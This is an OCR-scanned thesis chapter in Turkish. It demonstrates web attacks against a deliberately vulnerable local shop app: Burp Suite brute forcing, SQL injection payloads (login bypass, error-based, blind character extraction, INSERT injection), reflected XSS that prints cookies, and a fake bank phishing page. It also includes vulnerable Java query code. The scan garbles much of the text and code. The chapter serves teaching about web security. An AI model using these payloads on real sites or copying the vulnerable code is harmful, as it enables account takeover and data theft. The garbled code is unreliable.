<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>MiniShop</title>
«<link href=""c:ss_a"t,emplat,em-:_st,yle.c:ss" rel="stylesheet"” type="text/css" />
<link rel="stylesheet" type="text/c=ss" href="css/ddsmoothmenu.css" />
.

<gcript type="text/javascript" sreo="js/jquerv.min.js"s></script> v

? < + = Type a search term 0 matches
Finished |

Sekil 4.3 : Burp Suit araci ile sozliil saldiris1 deneme sonucu
Resimden goriilecegi gibi tiim istekler ayn1 http 200 status kodu donmiistiir. Tim
isteklerden farkli olarak “Hale 123456t icin length alani farkli gelmistir ve diger
isteklerden farkli olarak response icerisinde hata sayfasi degil, index.jsp sayfasi
gelmistir. Buradan anlasilacagi tizere Burp Suit’in kullanicinin bilgilerini “Hale
123456t” olarak buldugunu soyleye biliriz. Veritabaninda kullanici listesini
cekersek, gercekten de buldugumuz bilgiler ile veritabanindaki bilgilerin ayn1 oldugu

gorebiliriz:

] Resuts _'j Iessages

userld  usemame  password name  lastname emil address  phone created
11 dlican 124 dican  akkus dlican akkus @gmai .com stanbul 5367620600 20161212 23:31:25.000
3 Wk VMR hde mammedovs hdlemamnedova@btcomt tabul OSUBETASER 2011212 121202000

Sekil 4.4 : Veritabani kullanici listesi

4.1.1.2 Kaba Kuvvet Saldirilar

Kaba Kuvvet saldirilarini 2 yontem tlizerinden deneyecegiz.
e Yatay Yontem
e Dikey Yontem
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Yatay Yontem

Bu yoOntemde parola sabit tutulurken degisken olan kullanici adi bilgisidir.
Dolayisiyla yapilacak deneme sayisini kullanici adi kiimesi boyutu belirlemektedir.
Burp  Suitin  6ntanimli  olarak  sunmus  oldugu  karakter  kiimesi
“abcdefghijklmnoprstuvwxyz0123456789”  seklindedir ve min/max karakter
uzunlugu 4/5°tir. Bu degerlere gore 62.145.792 adet deneme yapilacaktir. Bu ¢ok
yiiksek bir deger oldugu i¢in bazi harf ve karakterlerden vazgecilebilir.

Burp Intruder Repeater Window Help

[Target T I Spider T Scanner T Intruder I Repeater I Sequencer T Decoder T Comparer I Extender I Project options T User options TAIens ]
[Tz Jaul)
Target | Positions | Payloads IOptions ]
@| Start attack | a

You can define one or mare payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: | 1 v Payload count: 9,072
Payload type: | Brute forcer v Request count: 9,072

This payload type generates payloads of specified lengths that contain all permutations of a specified character set.

Character set: |abehl1
Min length: 4

Max length: 5

Sekil 4.5 : Burp Suit araci ile yatay yontem saldirisi testi
Ilgili deneme yanilma testi i¢in yapilacak istek sayis1 9.072’ye diisecektir.
Dikey YoOntem

Bu yontemde kullanici adi sabit tutulurken parola alani degiskendir. Kullanim sekli

yatay yontem ile benzerdir.

4.1.2 SQL enjeksiyonu zafiyetinin tespiti ve istismari

Bu boliimde uygulamalarin kullanicidan girdi alarak olusturmus olduklart SQL
sorgular1 sonucu ortaya ¢ikan SQL enjeksiyonu zafiyetini inceliyor olacagiz.

4.1.2.1 Basit SQL enjeksiyonu

Ik olarak gelistirilmis olan uygulamanin giris sayfasini1 bu yontemle deneyerek ilgili

zafiyetin varligini tespit edecegiz.

Uygulama’da kullanicr girigini yapan metod agagidaki gibidir:
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public User login(String username, String password) {

PreparedStatement preparedStatement = null;
ResultSet rs = null;

Connection connection = null;

User user = new User(};

try {
ConnectionManager connectionManager = ServiceFacade.getInstance().getConnectionManager();
connection = connectionManager.getConnection();

StringBuilder query = new StringBuilder("select * from users where username="};
query.append(”'"}.append(username).append(""");
query.append(” and password=").append("'").append(pkssword).append('”")5

logger.info("EXECUTE QUERY : " + query);
preparedstatement = connection.prepareStatement(query.toString());
rs = preparedStatement. executeQuery();

if (rs.next(}) {
user = new User(rs.getInt("userId"), UserType.USER, rs.getString("username”), rs.getString("password"), rs.getString("name"},
rs.getString("lastname”), rs.getString("email"), rs.getString("phone”), rs.getString("address"), rs.getDate("created”), true);

}

} catch (Exception e) {
e.printStackTrace();
} finally {
IDBCUtility.close(rs, preparedStatement, connection);

}

return user;

}
Sekil 4.6 : SQL enjeksiyonu i¢in hazirlanmis kod 6rnegi
Zafiyeti tespit etmek icin ilk 6nce kullanici ad1 ve sifre olarak sql ifadelerini igeren

degerler girelim. Girdigimiz bu degerlere karsin uygulamanin verdigi tepkiyi

inceleyelim.

count Login

Products Garanti Bankasi Contact

e Login

Tablets

Username
Notebooks
Cameras ‘ testond=l= ‘
LCD & LED TVs Password

Sekil 4.7 : Ornek login sayfasi’nda SQL enjeksiyonu denemesi

Yukarida kullanict adi olarak test” or 1=1 ifadesini girerek kullanici girisi islemini

yapalim.
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Create Account Login

Products About Garanti Bankasi Contact

Phoni

Tablets

Username
Notebooks

Cameras ‘ Usemame ‘

LCD & LED TVs Password

‘ Password ‘

username or password is invalid

Sekil 4.8 : Ornek login sayfasi’nda SQL enjeksiyonu tespiti

SQL ifadesi iceren girdiye karsilik olarak uygulama kullanici adi veya sifre hatasi
oldugunu belirtmistir. Burada zararlh ya da SQL ifadesi igeren girdilerin
kullanilmamasina dair herhangi bir uyar1 bulunmamaktadir. Bu sayede girilen
degerlerin herhangi bir kontrolden ge¢irilmeden sorgu igerisinde calistirildiklar:

goriilebilmektedir. Zafiyeti istismar edecek sekilde girdileri diizenleyelim.

Products About Garanti Bankasi Contact

Phones

Tablets
Username
Notebooks

Cameras Hale' or 1=1 '
CD ¢ ) TVs
LCD & LED TVs e
1234 or 1=1 -

username or password is invalid

Sekil 4.9 : Ornek login sayfasinda SQL enjeksiyonu istismar1

Note: Yukarida SQL ifadesi goriinecek sekilde password input alani1 diizenlenmistir.

Calistirilan sorgu ise asagidaki sekilde dinamik bir bi¢imde olusturulmustur:
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SELECT * FROM users WHERE username='Hale’ OR 1=1--* AND
password='1234' OR 1=1 --'

Kullanict adi1 veya sifre yanlis olmasina ragmen sisteme giris yapilabilmistir. Fakat
giris yapilan kullanic1 baska bir kullanicidir. Yapilan SQL enjeksiyonu sayesinde

veritabaninda bulunan ilk kullanici bilgileri ile sisteme giris yapilmistir.

Yukaridaki sorgunun sonucu asagidaki sekildedir:

0% -

=] Resuts _'_'| Messanes

usemame password  name  lastname emai addess  phone created
1 den % don ks donabus@omaloon  mwbu SIRXEN 2016121223312500
2 1 Hk 125 hde memmedova halemammedova@¥bicomy tabul 0506874588 20161212121202000

Sekil 4.10 : Sonucun veritabani tablo goriintiisii

Yapilan SQL enjeksiyon saldirisindan dolay1 sisteme veritabanindaki ilk kullanici ile
giris yapimistir:

alican akkus (My Account) My Credit Card My Bill Logout

Home Products About Garanti Bankasi Shopping Cart Checkout Contact

el Products

Tablets

Notebooks I |

Cameras

LCD & LED TVs XIAMO M4

Sekil 4.11 : SQL enjeksiyonu istismari sonucu kullanici profili
4.1.2.2 Hata tabanh SQL enjeksiyonu

Ilgili enjeksiyon tiiriiniin tespiti icin veritabani hata mesajinin ekrana basiliyor
olmasinin yeterli oldugu incelenmisti. Uygulama iizerinden hata tabanl enjeksiyonun
tespitine Ornek verelim. Klasik test parametresi olan tek tirnak karakterini

uygulamanin zafiyet barindirdigini diisiindiigimiiz girdi noktasina gonderelim.
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Farzedelim ki, kullanict IPHONE’S telefonlarini aratmak istiyor. Bu zaman

uygulama asagidaki sorguyu gergeklestirecektir;
SELECT name, price FROM product WHERE name ='IPHONE'S

Bu durumda, sorgu yorumlayicisi (query interpreter), String datasina ulastiginda tek
tirnak () igeren verini ayristiracak ve IPHONE degerini elde edecektir. S ifadesi ile
karsilagtiginda, gegerli SQL syntax igermedigini goriip hata dondiirecektir:

[lgili hatanin veritabami ekran goriintiisii asagidaki gibidir:

EELECT name, price from product where name = "IPHONE'S

00 % -

_'_i] Mesz=sages
Mzg 182, Level 15, State 1, Line 3
Incorrect syvntax near '5'.

Sekil 4.12 : Hata Tabanli SQL enjeksiyonunda tek tirnak hatasinin goriintiisii

Uygulamanin yapilan istege verdigi tepki ise asagidaki gibidir:

Socalhost 0000 MiniShap/

saiyaret ecilenler @ winp @ ik Adn

Error Message

Invalid SQL statement or JOBC escape, terminating ™ not found

Sekil 4.13 : Hata Tabanli SQL enjeksiyonu tespiti

Hata mesajlar1 yardimu ile veritabani hakkinda bilgi de almak miimkiindiir. Arama
kismina ‘select convert (int, user)’ yazdigimizda veritabani kullanict bilgisine

ulagmis oluruz. Ekran goriintiisii asagidaki gibidir:
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lecalhast

coiyaret edilenler @ winp @ Ik Aden

Error Message

Conversion falled when Converting the nvarchar value ‘'abo’ 10 data type int

Sekil 4.14 : Hata Tabanli SQL enjeksiyonu istismar1
Uygulama bu sekilde davrandiginda SQL Enjeksiyonuna karsi savunmasiz oldugunu

gOsterecektir.

4.1.2.3 Kor (Blind) SQL enjeksiyonu

Kor SQL enjeksiyonun’da, uygulamanin hata mesajlarina bakmak yerine zafiyet
barindiran sayfanin manipiilasyonlara verdigi cevaplarin true/false (dogru/yanls)
olmasi ile ilgilendigini incelemistik. Uygulamada kullanict profilini asagidaki URL

ile goriintiiliiyor olalim:

http://localhost:8080/MiniShop/userdetail?userid=3

Yukarida belirtmis oldugumuz URL, veritabaninda userld=3 olan kullanicinin

bilgisini getiriyor olacaktir:

sjaret edilenter @ winp @ I Adem

User Information

Name: Hale

Email: hale mammedova@32bit com tr

Sekil 4.15 : Ornek kullanic1 bilgileri sayfasi
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http://localhost:8080/MiniShop/userdetail?userid=3

userld parametresinde kor SQL enjeksiyon zafiyetini tespit edecek olursak,
asagidakine benzer sekilde true/false (dogru/yanhs) cevaplar bulmamiz

gerekecektir.

http://localhost:8080/MiniShop/userdetail?userid=3 AND 1=1

Tgili istek igin yine ayni kullanicinin profilini gériintiiliiyorsak (True)

localhost:2080/MiniShop/userdetail?userid=3 AND 1=1

hale mammedov ) My Card My Bill Logout

Shopping Cart Checkout Contact

s User Information

Tablets
Name: Hale

Email: hale. mammedova@32bit.com.ir

Sekil 4.16 : Kor Tabanli SQL enkejsiyonu tespiti (1)
ve ardindan http://localhost:8080/MiniShop/userdetail?userid=3 AND 1=2 istegi

i¢in asagidaki cevabi goriintiiliyorsak (False);

rziyaret ectdenier O wap @l Adim

User Information

Name

Email

Sekil 4.17 : Kor Tabanli SQL enjeksiyonu tespiti (2)

Burada bir kér SQL enjeksiyonu zafiyetinin varligini soyleye biliriz. Kor SQL

enjeksiyonu zafiyetini tespit etmek i¢in farkli yontemler de kullanilabilir.
Ornegin,

http://localhost:8080/MiniShop/userdetail?userid=5-2 istegi ile yine ayni kullanici

profile goriintiilenebiliyor ise de burada zafiyetin varligi s6z konusu olacaktir.
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http://localhost:8080/MiniShop/userdetail?userid=3
http://localhost:8080/MiniShop/userdetail?userid=3
http://localhost:8080/MiniShop/userdetail?userid=5-2

& smparet echilenter 8 wanp @ B Adien

User Information

Name: Hale

Emad hale mammedovaggaznit com tr

Sekil 4.18 : Kor Tabanli SQL enjeksiyonu tespiti (3)

Clnku, 5-2=3 degeri dinamik olusturulan SQL ciimlecigi igerisinde hesaplanacak ve
userld=3 olan kullanic1 bilgisini ekrana getirecektir. Bu da ilgili wuserld
parametresinin - SQL  ctimlecigi igerisinde dinamik bir parameter olarak

kullanildiginin isareti olacaktir.

Zafiyet barindiran ilgili kodu inceleyecek olursak;

String sql = "select username,email from users where userId= " + userid;
statement = connection.createStatement();
rs = statement.executeQuery(sql};

if (rs.next()) {
user.setUsername (rs.getString("username”)};
user.setEmail(rs.getString("email™));
return user;

Sekil 4.19 : Zafiyet barindiran kod 6rnegi

userld degiskeni SQL sorgusu igerisine dinamik olarak eklenmistir ve higbir
kontrolden ge¢medigi i¢in ilgili kod pargacigi SQL enjeksiyonu zafiyeti

barindirmaktadir.

Kor SQL enjeksiyonu zafiyeti istismarinda Cizelge 4’de belirtmis oldugumuz
sorgular1 kullanarak veritabanindan ¢ekecegimiz herhangi bir verinin Karakterlerinin
ASCII degerlerine erisme gibi bir imkanimiz olmaktadir. ilgili sorgular ile istismar

gerceklestirecek olursak;

http://localhost:8080/MiniShop/userdetail?userid=3 AND ASCIl (SUBSTRING
((SELECT db name()),1,1))=97

97 degeri a karakterinin ASCII karsiligidir. SQL Server’da SELECT db_name ()

komutu ¢alistirdigimizda kullandigimiz database adini elde ederiz.
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http://localhost:8080/MiniShop/userdetail?userid=3

Iselect db_name( )

o -

Results | |3 Messages

(Mo column name)
L 22BIT

Sekil 4.20 : Veritaban1 adinin goriintiilenmesi

ASCIl (SUBSTRING ((SELECT db_name ()),1,1)) sonucu bize kullandigimiz
veritabaninin ilk karakterini veriyor olacaktir. Dolayisiyla 51==97 esitligi
saglanmadig1 i¢in AND’in sag tarafi false donecektir ve userld=3 degerindeki

kullanici bulunsa bile ekrana bos sayfa yani False olarak belirttigimiz cevap

donecektir.

L amparel edilenier ¥ winp @ B Adin

User Information

Name:

Emad

Sekil 4.21 : Kor SQL enjeksiyonu istismari

Bunun gibi b’nin, c¢’nin sirasiyla ASCII karsiliklari denenip Dogru olarak
belirttigimiz sayfay1 goriintiiledigimizde veritabani1 isminin karakterlerini sirasiyla
buluyor olacagiz. Kor SQL enjeksiyonu zafiyetinin istismari alinacak her bir
karakterin taker taker kontrolii ile miimkiin olmaktadir. ikinci karakter igin sorguyu

asagidaki gibi yaza biliriz;

http://localhost:8080/MiniShop/userdetail?userid=3 AND ASCII (SUBSTRING
((SELECT db name()),2,1))=97

Kor SQL enjeksiyonunda her karakter i¢cin deneme yapilacagi muazzam sayida istek
yapilabilecegine neden olacaktir. Bu yilizden de Kor SQL enjeksiyonu basliginda

belirttigimiz iizere Ikili Arama Algoritmas1 kullanilmalidr.
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http://localhost:8080/MiniShop/userdetail?userid=3

4.1.2.4 Farkh SQL ifadelerinde SQL enjeksiyonu zafiyeti
INSERT Ciimlecigi

Uygulama’da satis igsleminden Once kredi karti bilgilerini giriyor olalim. Sonra

girdigimiz bilgileri goriintiileyebiliyor olalim.

Kredi kart1 ekleme formunu asagidaki gibi doldurdugumuzda;

Credit Card Information

Add your credit card for checkout!

Name on Card:
(select @@version)
Credit Card Number:
7668 8778 6778 5645
Expiry Date (MMMYY):
a8/o

CVV Number:

123
Sekil 4.22 : Ornek kredi kart: bilgileri giris formu

Ilgili name parametresinde SQL enjeksiyonu zafiyeti mevcut ise, eklenen degerden

sonra gosterilecek kredi kart1 bilgisi asagidaki gibi olacaktir:

My Credit Cards

- - Ccvv
Name on Card Credit Card Number Expiry Date (MM/YY) Number
Microsoft SQL Server
2014 - 12.0.2269.0 (X&64)
Jun 10 2015 03:35:45
Copyright (c) Microsoft _ .. o778 6778 5645 8/9 123 Remo

Corporation Standard
Edition (64-bit) on
Windows NT 6.3 (Build
9600: ) (Hypervisor)

Add to Cart

Sekil 4.23 : Insert climleciginde SQL enjeksiyonu zafiyetinin tespiti
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Bu tiir zafiyetin olusmasina sebep olacak kod parcacigi asagidaki gibidir:

String sql = "INSERT INTO [32BIT].[dbo].[creditcard] (name, creditcardmumber, expirydate, cvv, userId)" + " VALUES (" 4 name + """
+ cardmumber + "', 4 expiey + ", o + M, My userId +1)";
statement = connection.createStatement();
logger.info("Execute Query : " + sql);
boolean success = statement.execute(sql);
if(successjﬂ
rowCount = 1;
lelse{
rowCount = -1;

}
Sekil 4.24 : Zafiyet igeren insert cimlecigi kod drnegi

Kullanicidan control edilmeden alinan name parametresi degeri SQL climlecigi

icerisine eklenir ise asagidakine benzer bir sorgu olusacaktir:

INSERT INTO [32BIT].[dbo].[creditcard] (name, creditcardnumber, expirydate, cvv,
userld) VALUES ((select @ @version),'7668 8778 6778 5645','8/9','123", 3)

Dolayisiyla 1ilgili sorgu c¢alistirildiginda veritaban1  sliriim  bilgisi  alinip,

CREDITCARDNUMBER kolonuna yazilacaktir.

lgili zafiyet yardimu ile veritabanindan 6grenilmek istenilen veriler ekrana basilarak
okunulabilir.

4.1.3 XSS zafiyetinin tespiti ve istismari

Bu bolimde yapmis oldugumuz uygulama iizerinde Javascript ile zararli kod
parcaciklarinin ne tiir problemlere yol agabilecegini gosterecegiz.

4.1.3.1 Reflected XSS

Uygulama iizerinde arama kutucugu kisminda normal bir {iriin arama islemi ig¢in
kullanilacak GET istegi i¢cin URL ve ilgili istek i¢in donen mesajin ekran goriintiisii

asagidaki gibi olacaktir:

http://localhost:8080/MiniShop/product?search=XIAMO
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http://localhost:8080/MiniShop/product?search=XIAMO

wealhost

ziyaret eclenler 8 winp @ B Aden

MAMUdan 1tane Dukindu.

Products

Sekil 4.25 : XSS zafiyeti tespiti (1)
Burada Reflected XSS zafiyetini tespit etmek i¢in yazdigimiz URL’1 asagidaki gibi
degistirelim;

http://localhost:8080/MiniShop/product?search<script>alert(/XSS/)</script>

Yukaridaki URL’in ekran goriintiisii asagidaki gibidir:

Sekil 4.26 : XSS zafiyeti tespiti (2)
Reflected XSS zafiyetinin varligini tespit ettikten sonra zafiyeti istismar etmek igin

kullanicinin oturum bilgisini ele gegirebiliriz. Kullanicinin oturum bilgisini almak
icin DOM icerisinde document objesinin cookie degerini kullaniyoruz. URL’I

asagidaki gibi diizenleyelim:

http://localhost:8080/MiniShop/product?search=<script>document.write(document.c

ookie)</script>

Yukaridaki URL’in cevabi olarak iiriin arama sonucu degerinde kullanicinin cookie

bilgisi ekrana yazdirilmaktadir.
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http://localhost:8080/MiniShop/product?search%3cscript%3ealert(/XSS/)%3c/script
http://localhost:8080/MiniShop/product?search=%3cscript%3edocument.write(document.cookie)%3c/script
http://localhost:8080/MiniShop/product?search=%3cscript%3edocument.write(document.cookie)%3c/script

lecalhost 000/ MiniSh

& empared echilenler O wep @ ik Acin

5e33M=095E639E90F 167SAS04E0FCADGI035T dan O tane bulundu,

Products

Sekil 4.27 : XSS zafiyetinin istismari

Reflected XSS zafiyetinin tespitinde gonderdigimiz test parametresinin bize gelen
cevap igerisinde ayni sekilde olup olmadigina bakariz. Test parametresinin degerini

ayrica tarayict yardimi ile HTML kaynak kodu goriintiileyerek de gorebiliriz.

<div id="templatemo_rmsin™>

<diwv id="sidsbar” class="float_1">
<div class="sidebar_ box">
<span class—="bottom"></span>
<h3>Categories</h3>
<diwv class="content™>
<ml class="sidsbar_ list">
<li class="first"><a href="product?categorv=1l">Phones</a></1i>
<lir»<a href="product?category—=2">Tablets</a></Lli>
<li»<a href—="product?category—3">Notebooks</a»</L1i>
<li»<a href—"product?category—4">Cameras</a></1i>
<1li eclass="last"><a href="productc?category=5">LCD & LED ITVs</a></1i>

</al>
</div>
</div>
</div>
<diwv id="content" class="float_xr">

<n6>
<script>document .write (document.cookie)</script>"dan 0 tane bulunda.
</hé6>
<hl>Products</hl>
</ /Aiv>
<div eclass="cleaner"></div>
</ Aiv>
<div id="templatemc_fooTeI ">

Copwvright ©® 2016<a href="#"> Mini Shop</a>
</div>

< /fdiv>
</body>

A

Sekil 4. 28 : HTML kaynak kod gorintisi
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4.1.4 Phishing zafiyetinin tespiti ve istismari

Phishing saldirisinin bankalar, alig-veris siteleri, sosyal aglar vb. gibi sistemlerin bir
kopyasinin olusturularak yapildigini incelemistik. Kurban, saldirganin hazirlanmig
oldugu sahte siteye yonlendirilerek normal sekilde bilgilerini paylasir, saldirgan ise

kurbandan aldig1 verileri istismar etmis olacaktir.

hale mammed Account) My Bill Logout

Products Abo G ankas Shopping Cart Checkout Contact

Mesaj - null

Phones

Tablets P rO d U CtS

Notebooks
Cameras

LCD & LED TVs

Sekil 4. 29 : Phising saldirisi tespiti

Yukaridaki resimde Garanti Bankasi linki sahte olusturulmus bankanin kopyasidir.
Bu linke tikladigimizda gergekten Garanti Banka’sina giris yapityormus gibi sahte

sayfa ac¢ilacaktir.

tucalhost

+ziyaret edilenter & wibp @ (k Adim

9% Garanti

Guvenliginiz igin lutfen ag.
Lutfen mugteri numaran ya da T.C. kimlik numaranizi ve size azel parolanizi girin, bilgilere dikicat exin.

Giivenli bir Internet deney

Mikgtari [ 1.C. Kimlik Numarass 17245675901 goncel virdsler hakkonda €

gin tfen tklayn.
Parola | seseses|

Bagkasi adina mi lem
SARANTI INTERNEY clly Jopyorsmuz?

s ya dia paralan wnattum, Tasarruf Mevduat Glvenc

Sekil 4.30 : Phising saldirisinin istismari (1)
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Kurban, olmasi gereken bir siteye girdgini zannederek bilgilerini girecektir.

Saldirgan ise aldigi bilgileri istedigi gibi kullanabilme imkani elde etmis olur.

Saldirgan elde ettigi bilgiler ile gercek siteye isteklerde bulunabilir ve/veya elindeki
bilgileri saklayabilir.

Ieeallast B Mini S bk oy

T #mE
yaset edilender &) wicp @ i Adim

=3
Sekil 4.31 : Phising saldirisinin istismar (2)
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5. SONUC

Web’in gelismesi ve yayginlasmasi ile beraber birtakim sorunlar da meydana
cikmigtir. Giiniimiizde Web {izerinde bir giinde yaklasik milyarlarca islem
yapilmaktadir. Gegmiste web iizerinden yapamadigimiz birgok islev ve gorevi artik
yapabilir durumdayiz. Biiyliyen ve gelisen tiim sistemlerde gilivenlik problemlenin
bulunmasi gibi Web iizerinde de birtakim giivenlik zafiyetleri 6n plana ¢ikmistir. Bu
zafiyetler zaman igerisinde giderilmeye ¢alisilsa bile gliniimiizde hala bu zafiyetlere
rastlamak miimkiindiir. Bankalarin, kamunun, bir¢ok kurumun hizmetlerini artik web
lizerinden sunmaya baglamasiyla birlikte web yazilim glivenligi alanindaki saldirilar
da arttirmistir. Dogrudan kullanicilart ilgilendiren sorunlarin bulunmasi ve ayrica
kurum ve/veya kuruluslara yailan saldilarin giin gectikge artmasi nedeniyle tez
konusu “Web uygulamalarinda giivenlik” secilmistir. Tez igerisinde web’in
gelisiminden baglayarak, web sistemlerinde yasanmis ve yasanabilecek olan
zafiyetler ele almmugtir. Zafiyetlerin tespiti, istismar edilmesi gibi konular ele
alimirken, neden olduklart sorunlar da irdelenmistir. Belirtilen zafiyetlerin
engellenmesi ve ¢oziimlenmesi i¢in farkli yaklasimlar 6nerilmistir. Bunun yani sira
zafiyetlere olan ¢6ziim yaklasimlari ifade edilmis ve gerceklenmistir. Tez ile birlikte
giivenli yazilim gelistirme modelleri aragtirilmig olup, sistemler {izerinde potansiyel
zafiyet olabilecek bélumlerin analizinin yapilabilmesi i¢in gerekli olan yazilim
gelistirme siirecleri konularinda bilgi sahibi olunmustur.

Web sistemlerinde bulunan giivenlik zafiyetleri i¢in giivenlik stratejisinin bulunmasi
gerektigi ifade edilmis olup, gelistirme siireglerinin tamaminda bu stratejinin
bulunmasi gerektigi belirlenmistir. Yukarida ifade edilen kazanimlar sayesinde ilerde
gelistirilecek olan yazilimlar daha dikkatli gelistirilebilecek ve kullanicilara giiven
veren bir anlayis benimsenerek, gilivenlik politikast bulunan ve giivenlik

politikalarina uyan sistemler gelistirilebilecektir.
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